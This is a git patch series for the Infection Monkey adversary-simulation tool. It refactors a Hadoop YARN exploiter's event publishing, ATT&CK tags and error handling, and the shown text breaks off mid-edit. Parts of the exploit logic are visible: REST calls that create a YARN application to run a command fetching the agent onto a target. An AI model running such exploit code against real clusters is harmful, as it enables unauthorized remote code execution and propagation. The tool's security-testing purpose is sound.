From e26b36edf1d2949c94842102ff4d2cdf1eff3837 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 13:05:10 +0200 Subject: [PATCH 01/28] Agent: Publish Propagation and Exploitation events from Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1b7c54470..4fdd308a2 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -40,11 +40,19 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + ) return self.exploit_result try: monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=False, + ) return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer( @@ -58,6 +66,12 @@ class HadoopExploiter(WebRCE): self.add_executed_cmd(command) self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True + + self.publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + ) + self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 65d548ae788e26a42aad3f666e30e2c93d1884b6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Tue, 4 Oct 2022 16:39:10 +0200 Subject: [PATCH 02/28] Agent: Add tags and error messages in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 19 ++++++++++++++++++- 1 file changed, 18 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 4fdd308a2..5a878621e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -5,6 +5,7 @@ """ import json +import logging import posixpath import random import string @@ -12,6 +13,7 @@ import string import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT +from common.tags import T1203_ATTACK_TECHNIQUE_TAG from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -23,6 +25,10 @@ from infection_monkey.model import ( ) from infection_monkey.utils.commands import build_monkey_commandline +logger = logging.getLogger(__name__) + +HADOOP_EXPLOITER_TAG = "hadoop-exploiter" + class HadoopExploiter(WebRCE): _EXPLOITED_SERVICE = "Hadoop" @@ -40,18 +46,24 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: + self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(HADOOP_EXPLOITER_TAG,), ) return self.exploit_result try: monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: + self.exploit_result.error_message = f"No coressponding agent found for {self.host}" self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, + error_message=self.exploit_result.error_message, + tags=(HADOOP_EXPLOITER_TAG,), ) return self.exploit_result @@ -70,8 +82,13 @@ class HadoopExploiter(WebRCE): self.publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + ) + self.publish_propagation_event( + target=self.host.ip_addr, + propagation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) - self.publish_propagation_event(target=self.host.ip_addr, propagation_success=True) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 0ca68f79b43026bdbfbe9b2a61cd4dedaadf6db0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 18:26:03 +0000 Subject: [PATCH 03/28] Agent: Use correct publish method names --- monkey/infection_monkey/exploit/hadoop.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 5a878621e..deece024c 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -47,7 +47,7 @@ class HadoopExploiter(WebRCE): self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, @@ -59,7 +59,7 @@ class HadoopExploiter(WebRCE): monkey_path_on_victim = get_agent_dst_path(self.host) except KeyError: self.exploit_result.error_message = f"No coressponding agent found for {self.host}" - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, @@ -79,12 +79,12 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self.publish_exploitation_event( + self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) - self.publish_propagation_event( + self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), From 1b1273e350aaba470c3bff8e9e4635268c4b7599 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:16:22 +0000 Subject: [PATCH 04/28] Agent: Update hadoop failed event publishing --- monkey/infection_monkey/exploit/hadoop.py | 27 +++++++++++------------ 1 file changed, 13 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index deece024c..743cf793e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -55,22 +55,13 @@ class HadoopExploiter(WebRCE): ) return self.exploit_result - try: - monkey_path_on_victim = get_agent_dst_path(self.host) - except KeyError: - self.exploit_result.error_message = f"No coressponding agent found for {self.host}" - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, - error_message=self.exploit_result.error_message, - tags=(HADOOP_EXPLOITER_TAG,), - ) - return self.exploit_result + monkey_path_on_victim = get_agent_dst_path(self.host) http_path, http_thread = HTTPTools.create_locked_transfer( self.host, str(monkey_path_on_victim), self.agent_binary_repository ) + tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) try: command = self._build_command(monkey_path_on_victim, http_path) @@ -89,13 +80,21 @@ class HadoopExploiter(WebRCE): propagation_success=True, tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), ) + else: + error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" + self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) + self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + except requests.RequestException as err: + error_message = str(err) + self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) + self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() return self.exploit_result - def exploit(self, url, command): + def exploit(self, url: str, command: str): if self._is_interrupted(): self._set_interrupted() return False @@ -104,8 +103,8 @@ class HadoopExploiter(WebRCE): resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/new-application"), timeout=LONG_REQUEST_TIMEOUT ) - resp = json.loads(resp.content) - app_id = resp["application-id"] + resp_dict = json.loads(resp.content) + app_id = resp_dict["application-id"] # Create a random name for our application in YARN # random.SystemRandom can block indefinitely in Linux From 7d5d71a9d21968168534279fb6a91047de8afe99 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:30:42 +0000 Subject: [PATCH 05/28] Agent: Move successful explotiation event publish --- monkey/infection_monkey/exploit/hadoop.py | 15 +++++++++------ 1 file changed, 9 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 743cf793e..c12be142d 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -70,11 +70,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), - ) self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, @@ -120,7 +115,15 @@ class HadoopExploiter(WebRCE): resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) - return resp.status_code == 202 + + success = resp.status_code == 202 + if success: + self._publish_exploitation_event( + target=self.host.ip_addr, + exploitation_success=True, + tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + ) + return success def check_if_exploitable(self, url): try: From aa936c3e3602539e7770eb6c02fc718863d11bae Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 4 Oct 2022 19:43:14 +0000 Subject: [PATCH 06/28] Agent: Update tags for hadoop events --- monkey/infection_monkey/exploit/hadoop.py | 29 ++++++++++++++++------- 1 file changed, 20 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c12be142d..ff6e9274b 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -13,7 +13,11 @@ import string import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from common.tags import T1203_ATTACK_TECHNIQUE_TAG +from common.tags import ( + T1203_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, + T1570_ATTACK_TECHNIQUE_TAG, +) from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.web_rce import WebRCE @@ -28,6 +32,8 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" +EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1570_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): @@ -51,7 +57,7 @@ class HadoopExploiter(WebRCE): target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, - tags=(HADOOP_EXPLOITER_TAG,), + tags=PROPAGATION_TAGS, ) return self.exploit_result @@ -61,7 +67,6 @@ class HadoopExploiter(WebRCE): self.host, str(monkey_path_on_victim), self.agent_binary_repository ) - tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG) try: command = self._build_command(monkey_path_on_victim, http_path) @@ -73,16 +78,22 @@ class HadoopExploiter(WebRCE): self._publish_propagation_event( target=self.host.ip_addr, propagation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + tags=PROPAGATION_TAGS, ) else: error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) - self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + self._publish_exploitation_event( + self.host.ip_addr, False, EXPLOIT_TAGS, error_message + ) + self._publish_propagation_event( + self.host.ip_addr, False, PROPAGATION_TAGS, error_message + ) except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(self.host.ip_addr, False, tags, error_message) - self._publish_propagation_event(self.host.ip_addr, False, tags, error_message) + self._publish_exploitation_event(self.host.ip_addr, False, EXPLOIT_TAGS, error_message) + self._publish_propagation_event( + self.host.ip_addr, False, PROPAGATION_TAGS, error_message + ) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -121,7 +132,7 @@ class HadoopExploiter(WebRCE): self._publish_exploitation_event( target=self.host.ip_addr, exploitation_success=True, - tags=(HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG), + tags=EXPLOIT_TAGS, ) return success From 2b4712df0c13b2eeaf4cbd630d5d9c5c3bdd8b76 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 12:25:23 +0000 Subject: [PATCH 07/28] Agent: Use EXPLOIT_TAGS for exploitation event --- monkey/infection_monkey/exploit/hadoop.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index ff6e9274b..7d68798d4 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,7 +57,7 @@ class HadoopExploiter(WebRCE): target=self.host.ip_addr, exploitation_success=False, error_message=self.exploit_result.error_message, - tags=PROPAGATION_TAGS, + tags=EXPLOIT_TAGS, ) return self.exploit_result From 101d3e49aa7b962b5bfb096940f69b98f14230b8 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 13:42:26 +0000 Subject: [PATCH 08/28] Agent: Update hadoop exploiter tags T1570 -> T1105 --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 7d68798d4..c5a8b2cf3 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -14,9 +14,9 @@ import requests from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.tags import ( + T1105_ATTACK_TECHNIQUE_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG, - T1570_ATTACK_TECHNIQUE_TAG, ) from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -33,7 +33,7 @@ logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1570_ATTACK_TECHNIQUE_TAG) +PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): From ac08df3794bc2828babea058734131f961cabff9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:25:40 +0000 Subject: [PATCH 09/28] Agent: Use exploiter tag properties --- monkey/infection_monkey/exploit/hadoop.py | 39 ++++++++--------------- 1 file changed, 14 insertions(+), 25 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c5a8b2cf3..1f5932121 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -9,6 +9,7 @@ import logging import posixpath import random import string +from typing import Tuple import requests @@ -32,8 +33,6 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) HADOOP_EXPLOITER_TAG = "hadoop-exploiter" -EXPLOIT_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) -PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) class HadoopExploiter(WebRCE): @@ -44,6 +43,12 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 + def _exploiter_tags(self) -> Tuple[str, ...]: + return (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + + def _propagation_tags(self) -> Tuple[str, ...]: + return (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + def __init__(self): super(HadoopExploiter, self).__init__() @@ -54,10 +59,8 @@ class HadoopExploiter(WebRCE): if not self.vulnerable_urls: self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=False, + False, error_message=self.exploit_result.error_message, - tags=EXPLOIT_TAGS, ) return self.exploit_result @@ -75,25 +78,15 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_propagation_event( - target=self.host.ip_addr, - propagation_success=True, - tags=PROPAGATION_TAGS, - ) + self._publish_propagation_event(True) else: error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event( - self.host.ip_addr, False, EXPLOIT_TAGS, error_message - ) - self._publish_propagation_event( - self.host.ip_addr, False, PROPAGATION_TAGS, error_message - ) + self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(False, error_message=error_message) except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(self.host.ip_addr, False, EXPLOIT_TAGS, error_message) - self._publish_propagation_event( - self.host.ip_addr, False, PROPAGATION_TAGS, error_message - ) + self._publish_exploitation_event(False, error_message=error_message) + self._publish_propagation_event(False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -129,11 +122,7 @@ class HadoopExploiter(WebRCE): success = resp.status_code == 202 if success: - self._publish_exploitation_event( - target=self.host.ip_addr, - exploitation_success=True, - tags=EXPLOIT_TAGS, - ) + self._publish_exploitation_event(True) return success def check_if_exploitable(self, url): From b56252ce8f55255e9283e78cb888fe6a0a1c687b Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 18:53:31 +0000 Subject: [PATCH 10/28] Agent: Publish events sooner --- monkey/infection_monkey/exploit/hadoop.py | 16 ++++------------ 1 file changed, 4 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 1f5932121..4046a81b1 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,11 +57,7 @@ class HadoopExploiter(WebRCE): urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) self.add_vulnerable_urls(urls, True) if not self.vulnerable_urls: - self.exploit.error_message = f"No vulnerable urls has been found for {self.host}" - self._publish_exploitation_event( - False, - error_message=self.exploit_result.error_message, - ) + self.exploit_result.error_message = f"No vulnerable urls has been found for {self.host}" return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) @@ -78,11 +74,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - self._publish_propagation_event(True) - else: - error_message = f"Failed to exploit via {self.vulnerable_urls[0]}" - self._publish_exploitation_event(False, error_message=error_message) - self._publish_propagation_event(False, error_message=error_message) except requests.RequestException as err: error_message = str(err) self._publish_exploitation_event(False, error_message=error_message) @@ -121,8 +112,9 @@ class HadoopExploiter(WebRCE): ) success = resp.status_code == 202 - if success: - self._publish_exploitation_event(True) + message = "" if success else f"Failed to exploit via {url}" + self._publish_exploitation_event(success, error_message=message) + self._publish_propagation_event(success, error_message=message) return success def check_if_exploitable(self, url): From 6868ea127bc6a736fab6ffbf597217582fce865d Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Wed, 5 Oct 2022 20:16:06 +0000 Subject: [PATCH 11/28] Agent: Stamp time before exploit executes --- monkey/infection_monkey/exploit/hadoop.py | 13 ++++++++----- 1 file changed, 8 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 4046a81b1..0a5b986a6 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -9,6 +9,7 @@ import logging import posixpath import random import string +from time import time from typing import Tuple import requests @@ -66,8 +67,9 @@ class HadoopExploiter(WebRCE): self.host, str(monkey_path_on_victim), self.agent_binary_repository ) + command = self._build_command(monkey_path_on_victim, http_path) + stamp = time() try: - command = self._build_command(monkey_path_on_victim, http_path) if self.exploit(self.vulnerable_urls[0], command): self.add_executed_cmd(command) @@ -76,8 +78,8 @@ class HadoopExploiter(WebRCE): except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(False, error_message=error_message) - self._publish_propagation_event(False, error_message=error_message) + self._publish_exploitation_event(stamp, False, error_message=error_message) + self._publish_propagation_event(stamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -107,14 +109,15 @@ class HadoopExploiter(WebRCE): self._set_interrupted() return False + stamp = time() resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) success = resp.status_code == 202 message = "" if success else f"Failed to exploit via {url}" - self._publish_exploitation_event(success, error_message=message) - self._publish_propagation_event(success, error_message=message) + self._publish_exploitation_event(stamp, success, error_message=message) + self._publish_propagation_event(stamp, success, error_message=message) return success def check_if_exploitable(self, url): From 311564da0d0cab80234e311689fb3e35e85a806b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 12:58:19 +0200 Subject: [PATCH 12/28] Agent: Modify HadoopExploiter tags to be properties --- monkey/infection_monkey/exploit/hadoop.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 0a5b986a6..18e4d70c6 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -10,7 +10,6 @@ import posixpath import random import string from time import time -from typing import Tuple import requests @@ -44,11 +43,9 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - def _exploiter_tags(self) -> Tuple[str, ...]: - return (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _exploiter_tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) - def _propagation_tags(self) -> Tuple[str, ...]: - return (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _propagation_tags = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) def __init__(self): super(HadoopExploiter, self).__init__() From b67d69d691f6479e0ab767d431d27c9a1f9e60f6 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:05:48 +0200 Subject: [PATCH 13/28] Agent: Rename stamp to timestamp in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 18e4d70c6..9c5805b5e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -65,7 +65,7 @@ class HadoopExploiter(WebRCE): ) command = self._build_command(monkey_path_on_victim, http_path) - stamp = time() + timestamp = time() try: if self.exploit(self.vulnerable_urls[0], command): @@ -75,8 +75,8 @@ class HadoopExploiter(WebRCE): except requests.RequestException as err: error_message = str(err) - self._publish_exploitation_event(stamp, False, error_message=error_message) - self._publish_propagation_event(stamp, False, error_message=error_message) + self._publish_exploitation_event(timestamp, False, error_message=error_message) + self._publish_propagation_event(timestamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() @@ -106,15 +106,15 @@ class HadoopExploiter(WebRCE): self._set_interrupted() return False - stamp = time() + timestamp = time() resp = requests.post( posixpath.join(url, "ws/v1/cluster/apps/"), json=payload, timeout=LONG_REQUEST_TIMEOUT ) success = resp.status_code == 202 message = "" if success else f"Failed to exploit via {url}" - self._publish_exploitation_event(stamp, success, error_message=message) - self._publish_propagation_event(stamp, success, error_message=message) + self._publish_exploitation_event(timestamp, success, error_message=message) + self._publish_propagation_event(timestamp, success, error_message=message) return success def check_if_exploitable(self, url): From 6be8370254affb03aacec1973aa891462aaf45a5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Oct 2022 13:14:55 +0200 Subject: [PATCH 14/28] Agent: Make Hadoop tags uppercase --- monkey/infection_monkey/exploit/hadoop.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 9c5805b5e..f9a186bd5 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -43,9 +43,9 @@ class HadoopExploiter(WebRCE): # Random string's length that's used for creating unique app name RAN_STR_LEN = 6 - _exploiter_tags = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) + _EXPLOITER_TAGS = (HADOOP_EXPLOITER_TAG, T1203_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG) - _propagation_tags = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) + _PROPAGATION_TAGS = (HADOOP_EXPLOITER_TAG, T1105_ATTACK_TECHNIQUE_TAG) def __init__(self): super(HadoopExploiter, self).__init__() From 94bf4ab74d7d2ab29ac755d552dfab27191a7d13 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 7 Oct 2022 11:22:27 +0200 Subject: [PATCH 15/28] Agent: Remove adding vulnerable urls in Hadoop Adding vulnerable ulrs causes check to see if the target is exploitable which calls self.exploit --- monkey/infection_monkey/exploit/hadoop.py | 20 ++++++++------------ 1 file changed, 8 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index f9a186bd5..c39533a3a 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -51,11 +51,13 @@ class HadoopExploiter(WebRCE): super(HadoopExploiter, self).__init__() def _exploit_host(self): - # Try to get exploitable url - urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) - self.add_vulnerable_urls(urls, True) - if not self.vulnerable_urls: - self.exploit_result.error_message = f"No vulnerable urls has been found for {self.host}" + # Try to get potential urls + potential_urls = self.build_potential_urls(self.host.ip_addr, self.HADOOP_PORTS) + if not potential_urls: + self.exploit_result.error_message = ( + f"No potential exploitable urls has been found for {self.host}" + ) + self._publish_exploitation_event(False, error_message=self.exploit_result.error_message) return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) @@ -65,18 +67,12 @@ class HadoopExploiter(WebRCE): ) command = self._build_command(monkey_path_on_victim, http_path) - timestamp = time() try: - if self.exploit(self.vulnerable_urls[0], command): + if self.exploit(potential_urls[0], command): self.add_executed_cmd(command) self.exploit_result.exploitation_success = True self.exploit_result.propagation_success = True - - except requests.RequestException as err: - error_message = str(err) - self._publish_exploitation_event(timestamp, False, error_message=error_message) - self._publish_propagation_event(timestamp, False, error_message=error_message) finally: http_thread.join(self.DOWNLOAD_TIMEOUT) http_thread.stop() From 412f519fb6e7e270a2ba99e78e45dffe795d8e67 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 7 Oct 2022 08:35:24 -0400 Subject: [PATCH 16/28] Agent: Remove errant exploitation event from hadoop If no potential URLs are found, then no exploit is attempted, so there's no reason to publish an ExploitationEvent. --- monkey/infection_monkey/exploit/hadoop.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index c39533a3a..aeb70513e 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -57,7 +57,6 @@ class HadoopExploiter(WebRCE): self.exploit_result.error_message = ( f"No potential exploitable urls has been found for {self.host}" ) - self._publish_exploitation_event(False, error_message=self.exploit_result.error_message) return self.exploit_result monkey_path_on_victim = get_agent_dst_path(self.host) From e1bc1e9bb4d24e8bb72a9df0e5d03397681e3c6a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Fri, 7 Oct 2022 14:53:19 +0200 Subject: [PATCH 17/28] Agent: Check all potential urls in Hadoop --- monkey/infection_monkey/exploit/hadoop.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index aeb70513e..f2a65b563 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -67,11 +67,12 @@ class HadoopExploiter(WebRCE): command = self._build_command(monkey_path_on_victim, http_path) try: - - if self.exploit(potential_urls[0], command): - self.add_executed_cmd(command) - self.exploit_result.exploitation_success = True - self.exploit_result.propagation_success = True + for url in 